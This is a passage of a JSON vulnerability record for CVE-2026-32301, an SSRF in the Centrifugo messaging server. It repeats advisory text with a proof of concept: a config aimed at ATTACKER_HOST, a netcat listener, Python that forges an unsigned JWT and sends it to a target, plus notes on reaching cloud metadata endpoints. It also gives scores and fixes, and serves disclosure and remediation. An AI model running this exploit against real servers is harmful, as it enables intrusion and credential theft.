operations:\n1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`\n2. Claims are decoded from the unverified token\n3. `validateClaims()` runs — extracting named regex capture groups from \n `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled \n `iss`/`aud` claim values\n4. `verifySignatureByJWK(token, tokenVars)` is called — passing attacker-controlled \n `tokenVars` to the JWKS manager\n5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly \n into the JWKS URL:\n `jwkURL := m.url.ExecuteString(tokenVars)`\n6. Centrifugo makes an HTTP GET request to the attacker-controlled URL\n\nSuppressed the security linter on this line with an incorrect comment:\n`//nolint:gosec // URL is from server configuration, not user input.`\nThe URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.\n\nSignature verification happens too late — after the SSRF has already fired.\n\n### PoC\n**Required config** (`config.json`):\n```json\n{\n \"client\": {\n \"token\": {\n \"jwks_public_endpoint\": \"http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json\",\n \"issuer_regex\": \"^(?P[a-zA-Z0-9_-]+)\\\\.auth\\\\.example\\\\.com$\"\n }\n },\n \"http_api\": { \"key\": \"test-api-key\" }\n}\n```\n\n**Step 1** — Start listener on attacker machine:\n```\nnc -lvnp 8888\n```\n\n**Step 2** — Generate malicious unsigned JWT:\n```python\nimport base64, json\n\ndef b64url(data):\n return base64.urlsafe_b64encode(data).rstrip(b'=').decode()\n\nheader = b'{\"alg\":\"RS256\",\"kid\":\"test-kid\",\"typ\":\"JWT\"}'\npayload = b'{\"sub\":\"attacker\",\"iss\":\"evil-tenant.auth.example.com\",\"exp\":9999999999}'\ntoken = f\"{b64url(header)}.{b64url(payload)}.fakesig\"\nprint(token)\n```\n\n**Step 3** — Connect to Centrifugo WebSocket with the malicious token:\n```python\nimport websocket, json\nws = websocket.create_connection(\"ws://TARGET:8000/connection/websocket\")\nws.send(json.dumps({\"id\": 1, \"connect\": {\"token\": \"\"}}))\nprint(ws.recv())\n```\n\n**Step 4** — Observe incoming HTTP request on attacker listener:\n```\nGET /evil-tenant/.well-known/jwks.json HTTP/1.1\nHost: ATTACKER_HOST:8888\nUser-Agent: Go-http-client/1.1\n```\n\nMalicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:\n![1](https://github.com/user-attachments/assets/6fd5d5b8-f47a-4899-94db-931f52504808)\n\nCentrifugo Server Log:\n![2](https://github.com/user-attachments/assets/2e802648-8dc9-40d7-ac9e-f5f2ca19acad)\n\nnetcat terminal:\n![3](https://github.com/user-attachments/assets/854cfb19-ed0c-44e2-977a-efe2f9b6c50a)\n\n### Impact\n- **Unauthenticated SSRF** — No valid credentials required\n- Attacker can probe and access internal network services not exposed externally\n- On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials\n- Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to **full authentication bypass**\n- Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` — a configuration pattern explicitly documented and promoted by Centrifugo\n \n### Suggested Fix\n\n**1. Verify signature BEFORE extracting tokenVars (critical fix):**\nIn `token_verifier_jwt.go`, swap the order of operations:\n```go\n// CURRENT (vulnerable) order:\n// 1. ParseNoVerify\n// 2. validateClaims() → populates tokenVars from unverified claims\n// 3. verifySignature(token, tokenVars) ← too late\n\n// FIXED order:\n// 1. ParseNoVerify\n// 2. verifySignature(token) ← verify first with empty/nil tokenVars\n// 3. validateClaims() → only now extract tokenVars from verified claims\n// 4. If JWKS needed, re-verify with tokenVars using verified kid only\n```\n\n**2. Fix the incorrect nolint comment in `manager.go`:**\nRemove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.\n\n**3. Alternative mitigation:**\nRestrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.\n```", "title": "github - https://api.github.com/advisories/GHSA-j77h-rr39-c552" }, { "category": "description", "text": "Centrifugo is an open-source scalable real-time messaging server. Prior to 6.7.0, Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination. This vulnerability is fixed in 6.7.0.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-32301.json?alt=media" }, { "category": "description", "text": "### Summary\nCentrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.\n\n### Details\nIn `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:\n1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`\n2. Claims are decoded from the unverified token\n3. `validateClaims()` runs — extracting named regex capture groups from \n `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled \n `iss`/`aud` claim values\n4. `verifySignatureByJWK(token, tokenVars)` is called — passing attacker-controlled \n `tokenVars` to the JWKS manager\n5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly \n into the JWKS URL:\n `jwkURL := m.url.ExecuteString(tokenVars)`\n6. Centrifugo makes an HTTP GET request to the attacker-controlled URL\n\nSuppressed the security linter on this line with an incorrect comment:\n`//nolint:gosec // URL is from server configuration, not user input.`\nThe URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.\n\nSignature verification happens too late — after the SSRF has already fired.\n\n### PoC\n**Required config** (`config.json`):\n```json\n{\n \"client\": {\n \"token\": {\n \"jwks_public_endpoint\": \"http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json\",\n \"issuer_regex\": \"^(?P[a-zA-Z0-9_-]+)\\\\.auth\\\\.example\\\\.com$\"\n }\n },\n \"http_api\": { \"key\": \"test-api-key\" }\n}\n```\n\n**Step 1** — Start listener on attacker machine:\n```\nnc -lvnp 8888\n```\n\n**Step 2** — Generate malicious unsigned JWT:\n```python\nimport base64, json\n\ndef b64url(data):\n return base64.urlsafe_b64encode(data).rstrip(b'=').decode()\n\nheader = b'{\"alg\":\"RS256\",\"kid\":\"test-kid\",\"typ\":\"JWT\"}'\npayload = b'{\"sub\":\"attacker\",\"iss\":\"evil-tenant.auth.example.com\",\"exp\":9999999999}'\ntoken = f\"{b64url(header)}.{b64url(payload)}.fakesig\"\nprint(token)\n```\n\n**Step 3** — Connect to Centrifugo WebSocket with the malicious token:\n```python\nimport websocket, json\nws = websocket.create_connection(\"ws://TARGET:8000/connection/websocket\")\nws.send(json.dumps({\"id\": 1, \"connect\": {\"token\": \"\"}}))\nprint(ws.recv())\n```\n\n**Step 4** — Observe incoming HTTP request on attacker listener:\n```\nGET /evil-tenant/.well-known/jwks.json HTTP/1.1\nHost: ATTACKER_HOST:8888\nUser-Agent: Go-http-client/1.1\n```\n\nMalicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:\n![1](https://github.com/user-attachments/assets/6fd5d5b8-f47a-4899-94db-931f52504808)\n\nCentrifugo Server Log:\n![2](https://github.com/user-attachments/assets/2e802648-8dc9-40d7-ac9e-f5f2ca19acad)\n\nnetcat terminal:\n![3](https://github.com/user-attachments/assets/854cfb19-ed0c-44e2-977a-efe2f9b6c50a)\n\n### Impact\n- **Unauthenticated SSRF** — No valid credentials required\n- Attacker can probe and access internal network services not exposed externally\n- On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials\n- Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to **full authentication bypass**\n- Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` — a configuration pattern explicitly documented and promoted by Centrifugo\n \n### Suggested Fix\n\n**1. Verify signature BEFORE extracting tokenVars (critical fix):**\nIn `token_verifier_jwt.go`, swap the order of operations:\n```go\n// CURRENT (vulnerable) order:\n// 1. ParseNoVerify\n// 2. validateClaims() → populates tokenVars from unverified claims\n// 3. verifySignature(token, tokenVars) ← too late\n\n// FIXED order:\n// 1. ParseNoVerify\n// 2. verifySignature(token) ← verify first with empty/nil tokenVars\n// 3. validateClaims() → only now extract tokenVars from verified claims\n// 4. If JWKS needed, re-verify with tokenVars using verified kid only\n```\n\n**2. Fix the incorrect nolint comment in `manager.go`:**\nRemove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.\n\n**3. Alternative mitigation:**\nRestrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.\n```", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-j77h-rr39-c552.json?alt=media" }, { "category": "description", "text": "Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL in github.com/centrifugal/centrifugo", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4702.json?alt=media" }, { "category": "other", "text": "0.0007", "title": "EPSS" }, { "category": "other", "text": "3.7", "title": "NCSC Score" }, { "category": "other", "text": "There is exploit data available from source Nvd, The value of the most recent EPSS score, Exploit code publicly available", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5810822", "CSAFPID-5919977", "CSAFPID-5919978", "CSAFPID-5919979", "CSAFPID-5919980", "CSAFPID-5919981", "CSAFPID-5919982", "CSAFPID-5919983", "CSAFPID-5919984", "CSAFPID-5919985", "CSAFPID-5919986", "CSAFPID-5919987", "CSAFPID-5919988", "CSAFPID-5919989", "CSAFPID-5919990", "CSAFPID-5919991", "CSAFPID-5919992", "CSAFPID-5919993", "CSAFPID-5919994", "CSAFPID-5919995", "CSAFPID-5919996", "CSAFPID-5919997", "CSAFPID-5919998", "CSAFPID-5919999", "CSAFPID-5920000", "CSAFPID-5920001", "CSAFPID-5920002", "CSAFPID-5920003", "CSAFPID-5920004", "CSAFPID-5920005", "CSAFPID-5920006", "CSAFPID-5920007", "CSAFPID-5920008", "CSAFPID-5920009", "CSAFPID-5920010", "CSAFPID-5920011", "CSAFPID-5920012", "CSAFPID-5920013", "CSAFPID-5920014", "CSAFPID-5920015", "CSAFPID-5920016", "CSAFPID-5920017", "CSAFPID-5920018", "CSAFPID-5920019", "CSAFPID-5920020", "CSAFPID-5920021", "CSAFPID-5920022", "CSAFPID-5920023", "CSAFPID-5920024", "CSAFPID-5920025", "CSAFPID-5920026", "CSAFPID-5920027", "CSAFPID-5920028", "CSAFPID-5920029", "CSAFPID-5920030", "CSAFPID-5920031", "CSAFPID-5920032", "CSAFPID-5920033", "CSAFPID-5920034", "CSAFPID-5920035", "CSAFPID-5920036", "CSAFPID-5920037", "CSAFPID-5920038", "CSAFPID-5920039", "CSAFPID-5920040", "CSAFPID-5920041", "CSAFPID-5920042", "CSAFPID-5920043", "CSAFPID-5920044", "CSAFPID-5920045", "CSAFPID-5920046", "CSAFPID-5920047", "CSAFPID-5920048", "CSAFPID-5920049", "CSAFPID-5920050", "CSAFPID-5920051", "CSAFPID-5920052", "CSAFPID-5920053", "CSAFPID-5920054", "CSAFPID-5920055", "CSAFPID-5920056", "CSAFPID-5920057", "CSAFPID-5920058", "CSAFPID-5920059", "CSAFPID-5920060", "CSAFPID-5920061", "CSAFPID-5920062", "CSAFPID-5920063", "CSAFPID-5920064", "CSAFPID-5920065", "CSAFPID-5920066", "CSAFPID-5920067", "CSAFPID-5920068", "CSAFPID-5920069", "CSAFPID-5920070", "CSAFPID-5920071", "CSAFPID-5920072", "CSAFPID-5920073", "CSAFPID-5920074", "CSAFPID-5920075", "CSAFPID-5920076", "CSAFPID-5920077", "CSAFPID-5920078", "CSAFPID-5920079", "CSAFPID-5920080", "CSAFPID-5920081", "CSAFPID-5920082", "CSAFPID-5920083", "CSAFPID-5920084", "CSAFPID-5920085", "CSAFPID-5920086", "CSAFPID-5920087", "CSAFPID-5920088", "CSAFPID-5920089", "CSAFPID-5920090", "CSAFPID-5920091", "CSAFPID-5920092", "CSAFPID-5920093", "CSAFPID-5920094", "CSAFPID-5920095", "CSAFPID-5920096", "CSAFPID-5920097", "CSAFPID-5920098", "CSAFPID-5920099", "CSAFPID-5920100", "CSAFPID-5920101", "CSAFPID-5920102", "CSAFPID-5920103", "CSAFPID-5920104", "CSAFPID-5920105", "CSAFPID-5920106", "CSAFPID-5920107", "CSAFPID-5920108", "CSAFPID-5920109", "CSAFPID-5920110", "CSAFPID-5920111", "CSAFPID-5920143" ] }, "references": [ { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-32301" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32301.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32301" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32301" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32301" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-j77h-rr39-c552" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-j77h-rr39-c552" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-j77h-rr39-c552" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-32301.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-j77h-rr39-c552.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4702.json?alt=media" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-j77h-rr39-c552" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-j77h-rr39-c552" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32301" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32301.json" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-5810822", "CSAFPID-5919977", "CSAFPID-5919978", "CSAFPID-5919979", "CSAFPID-5919980", "CSAFPID-5919981", "CSAFPID-5919982", "CSAFPID-5919983", "CSAFPID-5919984", "CSAFPID-5919985", "CSAFPID-5919986", "CSAFPID-5919987", "CSAFPID-5919988", "CSAFPID-5919989", "CSAFPID-5919990", "CSAFPID-5919991", "CSAFPID-5919992", "CSAFPID-5919993", "CSAFPID-5919994", "CSAFPID-5919995", "CSAFPID-5919996", "CSAFPID-5919997", "CSAFPID-5919998", "CSAFPID-5919999", "CSAFPID-5920000", "CSAFPID-5920001", "CSAFPID-5920002", "CSAFPID-5920003", "CSAFPID-5920004", "CSAFPID-5920005", "CSAFPID-5920006", "CSAFPID-5920007", "CSAFPID-5920008", "CSAFPID-5920009", "CSAFPID-5920010", "CSAFPID-5920011", "CSAFPID-5920012", "CSAFPID-5920013", "CSAFPID-5920014", "CSAFPID-5920015", "CSAFPID-5920016", "CSAFPID-5920017", "CSAFPID-5920018", "CSAFPID-5920019", "CSAFPID-5920020", "CSAFPID-5920021", "CSAFPID-5920022", "CSAFPID-5920023", "CSAFPID-5920024", "CSAFPID-5920025", "CSAFPID-5920026", "CSAFPID-5920027", "CSAFPID-5920028", "CSAFPID-5920029", "CSAFPID-5920030", "CSAFPID-5920031", "CSAFPID-5920032", "CSAFPID-5920033", "CSAFPID-5920034", "CSAFPID-5920035", "CSAFPID-5920036", "CSAFPID-5920037", "CSAFPID-5920038", "CSAFPID-5920039", "CSAFPID-5920040", "CSAFPID-5920041", "CSAFPID-5920042", "CSAFPID-5920043", "CSAFPID-5920044", "CSAFPID-5920045", "CSAFPID-5920046", "CSAFPID-5920047", "CSAFPID-5920048", "CSAFPID-5920049", "CSAFPID-5920050", "CSAFPID-5920051", "CSAFPID-5920052", "CSAFPID-5920053", "CSAFPID-5920054", "CSAFPID-5920055", "CSAFPID-5920056", "CSAFPID-5920057", "CSAFPID-5920058", "CSAFPID-5920059", "CSAFPID-5920060", "CSAFPID-5920061", "CSAFPID-5920062", "CSAFPID-5920063", "CSAFPID-5920064", "CSAFPID-5920065", "CSAFPID-5920066", "CSAFPID-5920067", "CSAFPID-5920068", "CSAFPID-5920069", "CSAFPID-5920070", "CSAFPID-5920071", "CSAFPID-5920072", "CSAFPID-5920073", "CSAFPID-5920074", "CSAFPID-5920075", "CSAFPID-5920076", "CSAFPID-5920077", "CSAFPID-5920078", "CSAFPID-5920079", "CSAFPID-5920080", "CSAFPID-5920081", "CSAFPID-5920082", "CSAFPID-5920083", "CSAFPID-5920084", "CSAFPID-5920085", "CSAFPID-5920086", "CSAFPID-5920087", "CSAFPID-5920088", "CSAFPID-5920089", "CSAFPID-5920090", "CSAFPID-5920091", "CSAFPID-5920092", "CSAFPID-5920093", "CSAFPID-5920094", "CSAFPID-5920095", "CSAFPID-5920096", "CSAFPID-5920097", "CSAFPID-5920098", "CSAFPID-5920099", "CSAFPID-5920100", "CSAFPID-5920101", "CSAFPID-5920102", "CSAFPID-5920103", "CSAFPID-5920104", "CSAFPID-5920105", "CSAFPID-5920106", "CSAFPID-5920107", "CSAFPID-5920108", "CSAFPID-5920109", "CSAFPID-5920110", "CSAFPID-5920111", "CSAFPID-5920143" ] } ], "title": "CVE-2026-32301" } ] }